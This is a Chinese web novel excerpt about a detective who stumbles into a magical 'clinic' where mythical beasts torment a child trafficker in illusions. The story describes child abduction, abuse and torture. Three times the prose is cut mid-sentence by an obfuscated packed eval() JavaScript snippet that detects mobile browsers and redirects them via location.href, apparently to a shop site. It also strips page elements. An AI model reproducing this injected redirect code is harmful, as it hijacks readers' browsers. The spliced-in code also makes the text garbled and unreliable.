《怪奇诊所专治禽兽》 1. “怪奇诊所”是餐厅? 春渐满,夏初盈,风轻雨软的,正是出门踏青的好时节,可几乎家家户户都门窗紧闭,街上只有临时充当起外卖骑手的守备人员。 “春队,我好像发现‘怪奇诊所’的位置了……”邱游拢住蓝牙耳机,压低声音跟春渐满汇报情况,“在木棉路278号。” “排了很多人,都排到门外了。” “木棉路278号不是一家茶餐厅吗?”春渐满记得那个位置,他之前路过时瞥到过一眼。 那是家主题餐厅,经常通过更换时下最热的主题来吸引顾客,但现在是特殊时刻。 这种时候还能排长队,可能真没表面上看起来那么简单。 “别打草惊蛇,等我过来。” 春渐满切断通话,看了看手中的订单,随机摇了位离得最近的同事,把后备箱里的餐全都移交好,才一路风驰电掣,赶过去。 木棉路278号不难找,在满是萧条的街道上,也就只有这家店还人声鼎沸。 只不过,春渐满看着店门口招牌上的那几个夸张大字还是陷入了沉默。 “怪奇诊所”。 确实是“怪奇诊所”这四个字,一字不差,只不过招牌旁边估计是用树脂做的夸张骷髅头,喷漆模拟的鲜红血液不仅从骷髅的眼眶里流下,还从鼻孔里流下,嘴角的血液还流得很晶莹剔透,像馋出来的口水。 透过玻璃窗就能看得很清楚,这根本不是真正的“怪奇诊所”,店里全是正在用餐的狂热粉丝。 “春队,你来了。”邱游冲春渐满微一点头就拽着自家队长的胳膊把他拖到狭窄仅可一人藏身的角落。 春渐满在心底无奈轻叹一声,这个角落根本藏不下两个人,他的队友什么时候能靠谱些。 邱游正处于高度紧张的状态,根本没发现自家队长非常突兀地杵在玻璃窗前,特别像偷窥别人用餐的可疑分子。 “春队您看,靠门的那桌客人,虽然化着九尾狐的妆,但一眼就能看出来是个小孩儿,您再看她旁边坐的那个人,是不是有点奇怪。” 确实,很奇怪。 从刚才开始,这人就一直低着头,没吃东西也没在看手机,只单单低着头,似乎不想让人看见他的脸。 他的头发出奇浓密,弯弯曲曲蔓延下来遮住了他本该裸露在外的脖颈与脸颊,甚至让人怀疑……他究竟有没有脸! 春渐满回过神时不由心惊,刚刚那一瞬,他好像被什么控制了一样,目光只能集中在那一处。 “你在这盯了多久?”春渐满立即转移视线,用力眨了两下眼睛。 “有一个钟头了,怎么样春队,那个人是不是很可疑,他能保持那样一动不动一个钟头,根本不可能是人吧。”邱游算了下时间,也被吓到了。 “你的心神没被影响?”春渐满思忖片刻,没再犹豫,他要近距离探查一番,看看究竟是不是只有他一个人受影响。 “我进去一下,你继续在这边盯着,等下如果我的行为有异常,立刻上报,请求支援。” “好,春队,您放心吧。” —————————— “怪奇诊所”餐厅内,形似九尾狐的小孩露出一抹甜润可爱的笑容,“蛊雕,我就说你这副打扮不行吧,还问什么AI,像你这种不擅长蛊惑人心的类型,再怎么扮演普通人类,也不像的。” “你看看我,哪怕把原型暴露出来,还配上这副惹人注目的天真小孩子身躯,在这种场合也一点都不会让人怀疑哟。”九尾狐挖起一勺甜橙慕斯,放在唇边,探舌了轻触一下就嫌弃地丢掉勺子,脸颊鼓鼓地生气,“而且这家餐厅空有噱头,餐品味道也太难吃了。” “真不知道阿尽怎么会这么宠你哦,一下就同意你的建议来这里布局。” “主人自有他的打算,岂是我们能猜到的。”蛊雕也非常郁闷,他在这蹲点半天了,都没人来拐走九尾狐,这让他怎么手刃坏他名声的仇人。 原本他归顺主人后,一直都无所事事,成日里有享不尽的美食,还能跟着主人四处游历玩乐,哦,是他玩乐,主人挺忙的,但他竟然不知足,觉得颇为无趣。 现在可好,轮到他出场了,他却还没习惯当个人,跟着AI练习半天,实际应用时还是被九尾狐嘲笑了。 大约从三个月前开始,他的名声就莫名其妙在人类中臭了,一开始大家都还半信不信,以为是传言,随着失踪案件频发,现在人心惶惶,大部分人能不出门就不出门。 门是关上了,但在网上,“上古神兽蛊雕再现专吃小孩”的谣言却愈演愈烈,最终还是传到他这个本尊的耳朵里。 在那些疾苦的时日,他确因饥饿食过人,但自从他归顺主人,有享不尽的美食,谁还吃人啊。 蛊雕还沉浸在苦闷之中,肩上就被人重重拍了一下,条件反射差点现原型进行攻击,就听到九尾狐乖乖巧巧喊了声叔叔。 “叔叔,你不要吓我哥哥啦,他是社恐哦,胆子很小的。”九尾狐竖起小手指,像个小大人一样轻轻摇摆。 “你……是谁?”蛊雕觉得自己的声音是从嗓子眼里挤出来的,他确实不习惯用人类的方式发声。 “哎呀哥哥,这个时候应该问叔叔有什么事吗?”如果无语能具像化,九尾狐的额角必定要挂上大滴无语汗珠。 春渐满仍旧没把自己的手挪开,他的手掌重重落在这个奇怪男人肩上,甚至用力捏了一下。 单薄的衬衣底下确实是人类的骨肉。 随后又抬手抚上奇怪男人的脸畔,将他遮住脸侧的弯曲发丝别到耳后。 那是一张不该被淹没在人群中的俊俏面容。 怪了,还真是人类。 “呵呵……叔叔,你是不是看上我哥哥啦,但也不能这么非礼他哦,哥哥他脸皮很薄的。”九尾狐双手托腮,眉眼弯弯,看得津津有味。 春渐满瞬间头皮发麻,立马收回手,轻咳一声,“我之前当过理发师,有职业病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688898|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抱歉。” “可是叔叔你在窗外就看我们很久了哦,真的不是对我哥哥有意思吗?那你为什么要盯着我们看呢?”九尾狐嘴角上勾,她学着春渐满的动作,从自己头上取了一只红樱桃发夹,把遮住蛊雕脸庞的发别好。 “别不好意思,我哥哥长得还是不错的,就是性格有点儿社恐。”说完,她柔软的手指还戳了戳蛊雕红透的脸颊。 果然有问题,他在窗外被控制了心神不是巧合。 春渐满微眯眼眸,唇角抿紧,如果真的是“怪奇诊所”,必须立刻上报,他一个人太危险了。 “你哥哥为什么这种时候带你出门?你们应该都听到了上面下达的警示,特殊时刻,孩童严禁出门。”春渐满沉下心扯了把椅子坐在两人旁边。 “哦……我明白了,叔叔你是保护我们的人。”九尾狐晃晃自己的小短腿,更开心了,“你可别怪哥哥,是我知道这里最近出‘怪奇诊所’的主题,才非要哥哥陪着我过来吃东西的。” 春渐满目光落在这一桌几乎没动的餐品上,嘴角抽了抽。 看来这个小女孩比旁边那个可疑。 “为什么不点外卖?” “哎呀,叔叔,这种主题餐厅当然是到现场才有氛围感嘛,你没看到大家都在拍照吗?” “叔叔,别担心我们了,虽然你长得也很帅,但我哥哥太社恐了,你看你来了他只会红着脸了,都没办法帮我拍美美的照片了。”帅哥她爱看,但主人的吩咐更重要,之所以让她陪蛊雕一起,还不是看中了她出色的能力嘛,正事不能忘。 被下了逐客令的春渐满却佯装没听懂,既然知道这里有问题,他必然不会轻易离开。 “你好烦,这里是我们的桌子,你走开。”蛊雕也很着急,本来等半天都没等来罪犯把九尾狐绑走,现在还来了个在人类里一看武力值就很强的家伙,怎么钓得来罪犯啊。 “既然知道我的身份,就该知道我不可能放任你们在危险中。”春渐满从上衣口袋摸出自己的证件,亮在两人面前。 这一刻,九尾狐和蛊雕出奇同步,两人齐齐翻了个白眼。 阿尽! 主人! 求助! 独孤尽接收到画中波动,知晓两只出去行动的神兽在召唤他,也翻了个白眼。 说是被他收进画中的神兽都归顺他,任他差遣,可谁知道,他才是那个被神兽呼来喝去的悲惨打工人啊?! 他倒要看看,这次又是谁搞破坏,让他在全年无休的道路上越走越盛! “你是何人?胆敢骚扰我的儿女?”独孤尽手中的红酒杯还没来得及放下,就被画传送到了“怪奇诊所”餐厅,那杯中的红酒随着惯性全数泼在了春渐满身上。 春渐满条件反射抬手挡了一下才让这泼天的酒液没洒到他脸上,不过,这自称父亲的人,怎么长得跟他的一双儿女一样年轻? “我要骚扰的是你。”春渐满当即口吐狂言。 2. 主治医师“蛊雕” 独孤尽充耳不闻春渐满的胡言乱语,他看了眼学会了打人的红酒,屈指挠挠脸颊,咋舌感叹,“莫不是连红酒都要成精了?” “成精?”春渐满抓住了关键字眼。 “夸张用语,夸张用语。诶,你怎么这么敏感,难道你其实是道士,要捉妖精?”独孤尽有一双特别吊儿郎当的桃花眼,里面盛的不是深情,是一汪澄澈,简单来说,就是傻气,现在他正用傻得不能再傻的眼神盯着春渐满。 春渐满有那么一瞬间觉得自己是不是找错人了,可能这一家子根本不是可疑分子,毕竟,和他们比起来,自己才更像有问题的那个。 正当春渐满迟疑,打算重新调查时,他感到了一阵刺骨的寒冷,就好像无数细密水珠吸附在他皮肤上,一瞬凝结成了冰。 连呼吸都停了一刹,眼前的场景开始变得奇异,空气中升腾起一串串气泡,蔓延整间餐厅。 “……”春渐满张了张嘴,发现自己的声音全部被不知名物质吸收,一点都没传入他的耳朵。 “多谢主人!”蛊雕知道,这是败坏他名声的人类出现了,主人帮忙开启了副本。 “阿尽阿尽,是哪个家伙?我要好好玩一场。”九尾狐露出小粉舌舔了舔嘴角,双眸隐隐透出血光。 “……”难不成只有他的声音被消除了?他面前的这一家子看起来聊得很开心啊。 春渐满压下满腹疑惑,沉默地看着眼前这场默剧。 等这次行动结束,他高低要回去把唇语学会。 “不会是这个怪大叔吧?”九尾狐逡巡了一圈发现副本里除了他们,就只有眼前的这个帅哥,但她直觉这个帅哥是好人呀。 “不是他。”独孤尽垂头揉了揉两边耳朵,无论进多少次副本,他都还是没办法习惯耳压骤变的难受感觉。 “正主在休息室。”独孤尽闭上眼睛,透过画框清晰感知到了目标人物。 现在唯一难办的是,这个意外被带进副本的无辜骚扰狂该怎么办。 之前从未发生过这种变数,想来,应该是他那杯刚学会打人的红酒犯的事。 春渐满压根不知道他已经被人在心里标上了骚扰狂的标签,只是下意识蹬腿想从椅子上逃离。 眼前颇有少年感的高挑男人放下了爱不释手的红酒杯,单手扣住了他的衣襟,猛地朝旁边扯开,眼看着另一只手也要覆上来帮忙,春渐满急忙踹了一脚桌子,拉开距离,警惕地拢回衣领。 独孤尽摸摸鼻子,难得有点不好意思,他只是想把对方沾了红酒的衣服脱掉,把他踢出副本,但这人……好像误会什么了,咳咳。 “你,自己把衣服脱掉。”独孤尽决定自己还是不碰他了,反正只要把染了红酒的衣服剥离他的身体,就没问题了。 “???” 春渐满掏了掏耳朵,他好像能听见声音了,但他的听力是不是出问题了??? 每个字他都能听懂,怎么组合在一起,就那么让人费解? “这里是餐厅!”春渐满刚想说周围全是人,这不看不要紧,一看吓一跳,原本满座的餐厅现在只剩下他们这一桌客人。 “这里是‘怪奇诊所’。”独孤尽的声音忽然变得很悠远,像被水荡开飘去了摸不着的地方。 “怪奇诊所”不就是这家主题餐厅吗? 蓦地,春渐满似是反应过来了,他可能误打误撞找到了真的“怪奇诊所”! “你不该在‘怪奇诊所’。”独孤尽抬了抬下巴,示意春渐满赶紧脱掉染湿的衣服。 春渐满后知后觉自己应该是托了那杯红酒的福,才能留在这里。 “怪奇诊所”并不是空穴来风的都市传说,它切实存在。 春渐满不动声色瞥了眼独孤尽放在桌上的红酒杯,里面还剩了一些酒液,如果他才得没错的话…… “你怎么抢别人酒喝?!”独孤尽压根没料到有人会这么堂而皇之夺他的酒喝。 那可是……那可是他喝过的杯子啊! 春渐满唇上还浸润着酒液,喉结上下滚动把那口红酒彻底吞吃入腹,他现在心情很好,只不过脖子被人掐得有点难受。 他拍拍明显收着力掐他的某人,三分痛苦装出了十分,一双鹰眸此刻装满了破碎,就差在眼角滑两滴泪了。 “这家伙什么毛病?我可不想以后跟他共事!”蛊雕一个头两个大,他的首战胜利怎么就这么难拿呢? “放心吧,我觉得他没看上你,反倒是看上阿尽了,瞧瞧这眼神,啧啧啧,明显装出来的柔弱啊。”九尾狐舔了舔指尖,利爪方显就被她收了回去。 独孤尽瞧着被自己压制在掌下的男人,没忍住吹了声口哨,如果他还是当初那个无忧无虑的公子哥,高低要好好陪他演出戏,但现在,他已经变成了苦闷的牛马人,没时间陪他浪费时间。 “既然你非要自投罗网,做我的小弟,我就勉强把你收了吧,以后记得唤我主人。”独孤尽松开手,还贴心地帮春渐满整了整衣领。 春渐满轻咳了几声缓解不适,眼前不断升腾的气泡还没消失,但他的听力似是恢复了,没了隔绝之感,可餐厅里的其他人却也没回来。 他偷偷看了一眼,邱游也不在外面了。 这里,确是“怪奇诊所”。 “虽然我的手下各个身怀绝技,但为了表示对你的重视,我还是准备亲自跟你说明一下现在的情况。”独孤尽指了指自己,“你的主人我,名字叫独孤尽,以后处好了,也可以叫我名字,但是现在还不行。” “我这个人原则比较强,从来都是对人不对事,意思就是,我罩着的,不管干的是好事还是坏事,我都罩,但我不允许手下干坏事。” “你既然喝了我的东西,就没办法只做普通人类了,你目前的工作只能自己看着协调了,必须把我的事放首位,听我的指示,不得擅作主张!” “今天的事解决后,搬来和我们一起住。”独孤尽想了想,应该没漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688899|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下什么,他对每个被他收服的神兽都是这么交代的。 可他忘了春渐满是个人类,人类的本质是追根究底。 春渐满越听眉头蹙得越紧,都是些霸王条例,敢情都是这个叫独孤尽的一言堂。 “你们俩对他这样没异议?”春渐满早就收回了之前故作脆弱的目光,此刻正压着几分怒意。 “看来叔叔你对阿尽很有意见啊,那阿尽,我们就别带这个笨蛋帅叔叔了。” “主人,事不宜迟,我们该尽快行动了。”蛊雕也用后脑勺对着春渐满。 独孤尽有些头疼,他沉痛地拍拍春渐满的肩膀,“小弟,你还没看出来吗?你也要变成牛马了,我本不愿你踏入其中,谁让你非要喝我的东西,现在不是你愿不愿意,是不得不。” “尽早断了和外界的联系吧。” 春渐满看着独孤尽渐行渐远的身影不信邪地试图离开餐厅,却发现自己无论怎么往外去,都在原地打转。 而且,桌上的东西,除了那个红酒杯,其他都变成了幻象,像全息投影一样从他手上穿了过去。 “啊啊啊——”凄厉的惨叫刺痛了春渐满的耳膜,经常行走在一线,他当然知道这种惨叫意味着什么,只是,他要如何跟这群怪物博弈取胜? 独孤尽可没功夫去管他新收的小弟,他现在正斜倚着休息室的门,看蛊雕一遍又一遍撕裂扯断这个脆弱人类的精神体。 “差不多就让他醒吧。”独孤尽见这人呼吸越来越弱,才堪堪叫停。 蛊雕擦擦爪子,扑扇了一下翅膀把副本皮肤转成“怪奇诊所”限定版,狠狠用喙啄破了罪犯的颈侧。 翟乐成刚从极其恐怖的梦境中苏醒,就被颈侧的剧痛惊得大声呼救,“救命啊!救命救命!” 蛊雕嗤笑一声,发出尖利鸣叫,将翟乐成的耳膜也震出了血,他毫不介意将自己的真身展露在将死之人面前。 “我在做梦?!做梦!这一定是做梦!是梦!我怎么还没醒!还没醒!”翟乐成一手捂着颈侧的伤口,一手撑地连连后退,见身后是窗,跌跌撞撞攀住窗缘就要往下跳。 只是个二楼,跳下去必然死不成,但现在在副本里,没独孤尽的允许,他根本跳不出去。 在无数次跳下感受到失重感又被传送回休息室后,翟乐成大口大口喘着粗气,嘴里全是血沫,是他自己咬出来的。 “开始吧。”独孤尽发号施令。 蛊雕克制住再次攻击的冲动,变化成人形,勉强扯了扯嘴角,“呵,欢迎来到‘怪奇诊所’。” “阿尽,蛊雕太不敬业啦,笑得也太难看了,虽然这杂碎不配我们的笑容。”九尾狐挽着独孤尽的胳膊在一边偷乐看戏,就差拿桶爆米花出来狂炫了。 “我是你的主治医师,现在由我为你进行第一阶段的治疗,拐卖小孩烹食人肉还要栽赃到我身上的人类怪物。”蛊雕皮笑肉不笑木着一张脸,公式化地念完他私下偷偷练过好几次的台词。 3. “治疗”开始 “什,什么?我,我没病!我不需要治疗!我没病!”翟乐成觉得自己快疯了,可他现在绝不能说自己有病,不然他一定会被这群不知道是什么的东西折磨致死的! 独孤尽从画中提取了一抹影像传递给九尾狐,“去吧,帮帮蛊雕。” 那是一个穿着粉紫色运动衫的小女孩,正奋力在运动场中练着排球,两只羊角辫的辫尾被夹子固定在脑后,拱起来两个半弧,像可爱的耳朵。 训练过后疲惫不堪的小女孩等了许久都未等到每天都会提前到来接她的妈妈,实在口渴,街边又正巧有小推车在卖冰粉。 自从她开始练排球,已经很久都没有吃过训练餐以外的食物了,尤其是这种容易影响体脂的高糖食品,而且……运动后不太好吃冰的,可她太久没吃过了,真的好馋…… 小女孩不知道体育馆附近从来没出现过这个小推车,也不知道自己的母亲是接到了一通与她相关的诈骗电话,为了查明真相,才耽误了接她的时间。 九尾狐用神魂安抚着小女孩的灵魂,眼底红光更甚。 她必要让这些该死的罪犯好好“享受”一下销魂蚀骨的治疗…… 眨眼间,翟乐成眼前的世界就发生了天翻地覆的变化。 日暮时分,正是逢魔时,翟乐成喘着粗气看着面前格外雄伟的高楼大厦,一时间分不清自己身处何地。 直到脖颈仰得酸麻,才察觉到自己很渴,就好像在沙漠中迷失的旅人,许久都没喝过水了。 他要,他要喝水…… “冰粉……卖冰粉喽……好吃又解暑的冰粉哟……” 冰粉那种甜腻腻的东西又不解渴,他要寻找其他水源…… 等等,腿……为什么腿在自己动……不!他不要往那边走! 九尾狐看着妄图在她的幻境中控制自己的杂碎,往冰粉里又加了一味料。 变成孩童身形的翟乐成迫不得已还是走到了冰粉摊前,稚嫩的童声颤颤巍巍地从他试图紧闭的口齿中迸出,“我……要一份……” “好嘞,这是给杂碎的专属治疗用冰粉。”九尾狐拿着生锈铁勺在足够容一个成年人的铁桶中搅拌着分不清原料的血红肉块。 那肉块中有半颗骇人的头颅,翟乐成本就已经吓得大小便禁失了,瞪大的眼睛看到那被铁勺带上来的半颗人头正是他自己,止不住开始干呕。 “别急,这是开胃小菜。”九尾狐毫不留情隔空提起翟乐成将他闷进铁桶。 “呕……” 很快,他会连吐都吐不出来。 强烈的血腥味与腐臭味吞噬着翟乐成,从四肢百骸侵入,屏息也毫无用处,那是足以将人溺毙的程度。 翟乐成根本无法挣扎,他想,地狱莫过于此了吧。 九尾狐见翟乐成逐渐消了挣扎的念头,嘴角扯出一抹艳丽的冷笑。 铁桶下方增加了火焰,这一大桶的腐肉与翟乐成混在一起,煮沸。 只不过,在这里翟乐成是不会被溺死也不会被烫死的,他只会无尽感受溺死的痛苦与灼烧而死的痛苦。 “蛊雕医师,前菜我已经煮好,轮到你上场了。”九尾狐拍拍手。 “放心,绝对把他的病治好……”蛊雕冷睨着铁桶中沸腾的一团,拿了只铁钳直接捅穿了翟乐成的心脏,把他挑在半空中。 翟乐成本已疯魔的神志在出桶的一瞬被疼痛惊醒,他冷汗直流,喉咙还在不断收缩习惯性呕吐。 强烈的痛楚已经印刻进了他的灵魂,永生永世都洗不掉了。 —————————— “小朋友,是不是要一份冰粉?” “来,喜欢山楂还是巧克力豆?” “别怕,以后再也不用练球了,开不开心?” “哈哈哈哈?你想练球?别骗人了,小孩子不能骗人,你就是不想练球了,想偷懒,现在如愿了,再也不用练球了!” “你以后还是衣食无忧,这个老汉家里就缺个孩子,你给谁当孩子不是孩子啊,不要太感谢我。” —————————— “什么?老乌家的那个女娃娃没了?” “按照他要求废了大劲才挑着这么个身体素质强的女娃娃,这才三年就没了?!” “生完第三个孩子被她跑掉了?自杀死的?!” “嚯,乌英平那个老家伙……这女娃娃才十五吧,给他的时候应该是十二,怎么也能造个十年八年啊,三年就把人糟践死了,可别找他麻烦!” —————————— 翟乐成神情呆滞看着跟自己长得一模一样的人,浑身发颤。 不不……不是他,不是他……他只是帮人牵线搭桥,有些家庭本就不缺孩子,他是好人啊,帮帮那些需要孩子的人怎么了?是别人有需求求到他,他才做的这档子事,错不在他,他没错,没错! 翟乐成拼命摇着头,双手紧紧环抱住自己,如痴如狂地想要发出声音,可他早就坏了的喉咙只能发出“嗬嗬”的风声。 “看来,药还不够猛,加把劲啊蛊雕。”九尾狐一看就知道这种罪大恶极、根本没心的人最喜欢蒙骗自我,只有不断进行自我催眠,他们才能心安理得觉得自己是天大的好人,甚至圣人,做的事那都是神明才会做的事。 翟乐成就是典型案例,但“怪奇诊所”的存在,就是为了让每个人都清醒,罪犯清醒认知到自己的错误,而受害者则清醒认知到自己的弱点。 她最喜欢诊治这些罪大恶极的人,下死手阿尽都不会制止,但如果是受害者有事所托,那种只能温水煮青蛙,大部分是脱敏治疗,没办法上这种强度。 当然,凡事也有例外。 现在的她,心痒痒的,如果这次的罪犯不是惹到蛊雕头上,她势必要自己布局来一场虚幻与现实完美融合的恐怖诊治。 —————————— 独孤尽扯了张椅子坐在一边咬着吸管,他自己调了一杯椰味咖啡饮,喝没喝多少,吸管已经咬坏了好几根。 他很焦虑,这次的案件随着治疗逐渐深入,画像就展开得越多,他能看到的那些恶心事就更多,太糟心了。 这个翟乐成虽然是主谋,但他并不是单枪匹马在作战,手底下已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688900|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发展出遍布各地的数千位信徒,他称自己是蛊雕转世,受神明指引,将那些投错胎的孩子重新放回到他们本该去的家庭是理所应当该做的事。 世人愚蠢,看不出孩子本不属于他们,所以必须有一些人做“英雄”,让这些走错路的孩子重新走回正道。 独孤尽作为一个普普通通的富二代,从前也只知道吃喝玩乐,每天都不用为生计发愁,也从来不关心世界的阴暗面,或者说,他根本看不到世界的阴暗面,也从没生出心思要去看一看,力所能及地管一管。 他就是个二世祖,只顾自己逍遥,可那天他逍遥错了,好死不死非突然起了兴致要去看美术展,瞎逛瞎逛就被这幅名为“怪奇诊所”的画给迷住了。 这幅画里满是各种奇珍异兽,且从不同角度不同光线下,都能发现新的世界,他这种不懂美术欣赏的人都不得不为这幅画惊叹,哪怕当时画要价一个亿,他手头上只有他获得的遗产,恰巧也是一个亿。 没吃过人间疾苦的他当然没考虑过给自己留点儿后路,只顾着任性,大手一挥就买了。 但他根本就不是个变态,甚至还是个不太谙世事的公子哥,哪里见过这么多肮脏事,尤其是,买了那幅画后,他就从公子哥变成了比普通人稍微富有一些的普通人。 更重要的是,那幅画虽然没要挟他什么,他看起来也好像没有什么生命危险,但他只要不去处理画中显现出来的事件,他自己就会被拖进画中,一遍又一遍重复受害者的经历。 一个再铁石心肠的人,重复这种恐惧与无力,也会变得心软,更何况是独孤尽。 只有找出凶手,将凶手彻底拉入幻境让他们真正悔过自首,才能把心中那股郁气排解出去。 独孤尽也不是第一次接触翟乐成这种穷凶极恶、犯下滔天罪行的人了,但他仍然无法做到麻木,每一次都让他觉得恶心、战栗。 就在“怪奇诊所”的治疗进入白热化时,春渐满才终于找到了进入休息室的办法。 单凭他自己是无法走出这间餐厅的,也没有办法找到休息室的确切位置,一切都像被施了障眼法,明明真相就在面前,他却始终无法触摸。 但独孤尽百密一疏,虽然他无法看清面前的事物究竟是什么,可对方毕竟没有真把这里挪空,只要一寸寸摸索过去,总能摸到门把手。 “独孤尽开门!开门!”春渐满按下门把却没有把门打开,只能一边敲门一边用上面配给他以备不时之需的小叮当钥匙转动锁孔,试图破开门。 “不可私自用刑!不要做损人不利己的事!万事三思!”春渐满喊得声音都快劈了,才总算破开了门,肩膀顶着门撞进去,差点整个人摔个踉跄。 “这是自然,我可是守法公民,自然不会做出违反法的事。”独孤尽侧身让开,给自己刚收的这个拎不清的小弟看肉身完好无损的罪犯。 “啊,他的衣服可不是我扒掉的,是他觉得太热自己撕毁的,你可别误会。”瞥见春渐满死死盯着睁大双眼却始终无法对焦的翟乐成,独孤尽赶忙解释了一句,虽然他也不知道自己为什么要多嘴解释这句。 4. 一起入局 就这么大眼瞪小眼互看了会儿,直到翟乐成再一次发出惨叫。 春渐满拿出手机,刚想拨打急救电话,手机就以没电告终。 他在进入“怪奇诊所”前手机起码还有一半的电,现在却直接消电,怎么想都是这个男人的问题。 独孤尽耸肩摊手,“真跟我没关系,他应该就是睡着了在做噩梦。” 春渐满把手机亮出来给独孤尽看,独孤尽拿过手机正反看了两下,“手机怎么了?” “给我充电。”春渐满长按电源键,屏幕上很快冒出了电量不足需要充电的标识。 “这是别人的休息室,我也没带充电宝,怎么给你充电?”独孤尽继续双手一摊,开始摆烂。 “还有你从刚才开始就没有认清自己现在的处境啊。”独孤尽微抬下颌,脸色也沉了下来。 “你在‘怪奇诊所’里,这种东西当然会失效,哪怕是我,也没法给你充电,况且,我是你的主人,你这是在命令我?”独孤尽虽然面上看着严肃,实际上心里一直在叫苦。 他这个主人当得没半点魄力,一点也压不住手下,一个个都指望他做牛马人。 这回新收的小弟必须要从一开始就调教好。 “没命令你,只是让你帮我。”春渐满深吸一口气,勉强压下怒意,扯扯嘴角,还是叫出了那个羞耻的称呼,“主人。” “哎!乖小弟!这才像点样子嘛。”独孤尽到底好哄,即便听出了春渐满的不情不愿,还是挺开心的。 “我还是第一次收人类小弟,也不知道你能不能看到,先试试吧。”独孤尽朝春渐满招了招手,“过来,你叫什么名字?” “……”春渐满刚打算用个假名糊弄过去,就被独孤尽打断,“诶,可不能报假名啊,会被反噬的。” 春渐满虽不信什么反噬不反噬的,但噎了一下,还是报上了自己的名字。 “听起来真是充满了希望,真是个好名字啊……不像我的……”独孤尽后面的声音弱得只有他自己能听清。 他是不被期待生出来的孩子,罢了,往事不再提,再不受待见,在法律上,他还是能名正言顺继承遗产的。 “来吧,接下来我也不知道你能不能看到,但如果看到了什么让你无法接受的事,也要记得这是幻境,不要破坏幻境,有什么想说的想做的,醒了再说再做,懂了吗?”独孤尽扣住春渐满一只手,手指挤进他的指缝中,紧紧相贴。 春渐满极其别扭自己的手被另一个男人用这种方式握着,但他根本没时间做出反应,神魂就被一股霸道的吸力抽离了身体,进入了黑暗之极的空间。 他什么也看不见,连他自己都看不见,只能听到充斥在耳边,像是被什么堵住了嘴的哭声,闷闷地,无力地,沉痛地,让人心生恐惧的。 “哭什么哭,你们这群不懂事的孩子,知道吗?你们本就不该出生在这种家庭,我们是来带你们脱离苦海,去到真正该去的地方的。”翟乐成手下的一众帮凶已经惯用这种洗脑方式了,毕竟他们连自己被人洗了脑都没发觉。 “你们不是本来就不满意自己的家庭吗?不是早就抱怨着希望自己是被抱错的,想离开家,被真正的家人找到过上不一样的生活吗?”恶魔在低语。 “现在神明大人听到你们的诉求,来帮你们交换了,还有什么不满?嗯?配合,给我配合!不然就打断你们的腿,反正腿断了也不妨碍干别的哈哈哈哈哈哈哈……” “住手!畜生!这些都还只是孩子啊!住手!!!”春渐满显然已经忘了方才独孤尽提醒他的事,只是声嘶力竭试图阻止这场令人汗毛倒立的犯罪! 独孤尽此刻正站在画旁边,注视着进入画中亲眼目睹犯罪现场的春渐满。 对于这个新收的人类小弟,他还是很不放心的,毕竟画给他的手下都是上古神兽,神兽本就无心,或者说,无人类之心,他们的行事准则也从来不以人为先,接触到那些犯罪场景时不会有太大的感触,最多是给他们提供一个思路,如何更强劲地进行治疗,对症下药。 可他这个小弟不同,人类乍一碰到这种场景,难免心神震荡,受到创伤。 “春渐满,回来!”独孤尽几乎是用尽了全力才把春渐满的神魂从画中抽离,复归他自己的身体。 “春渐满,醒醒!那是幻境!”独孤尽轻轻拍打这张看起来刚毅无比的脸颊,还有点儿怜香惜玉的意思,虽然这张脸看起来怎么抓都不会抓坏的样子。 “怎……怎么回事?刚才那是什么?”春渐满拍开独孤尽在他脸上揩油的手,脑海里全是刚才看到的画面。 “幻境?绝对不是幻境?那到底是什么东西?”春渐满双眸中的怒火更甚,许是刚才自己的身心完全被眼前这个男人操控了的关系,此刻他竟对独孤尽产生了从未对人产生过的全身心的信任。 毕竟,如果有人拥有这么强大的能力,却没做伤害你的事,那大抵就可以信任了吧,想不信任都难吧。 “刚刚你确实是在幻境里,但你在幻境里看见的,是真实发生过的事。”独孤尽起身走到翟乐成身前,踹了一脚。 “这玩意就是罪魁祸首。”独孤尽这时候还不忘调侃一下春渐满,“我这么踹一脚不算动用私刑吧?” “……”春渐满打心眼里觉得打死都不为过,但他作为公职人员,是断然不能给普通民众灌输这种被个人感情影响的念头的。 “别脏了你的手!” 春渐满沉默片刻,深吸口气,“感谢你提供线索帮忙破获一起重大案件,只要集齐证据,他绝对逃不过死刑。” “再等片刻,等他的治疗结束,再交给你。”独孤尽叹了口气,他倒是想把这家伙直接交出去,但据他以往的经验,有些罪犯心理素质极强,根本没吸取教训,出去了还是没法如实交代自己的罪行。 “你要做什么?”春渐满现在知道独孤尽确实有能力,也能耐下心来听他说话了。 “他正在 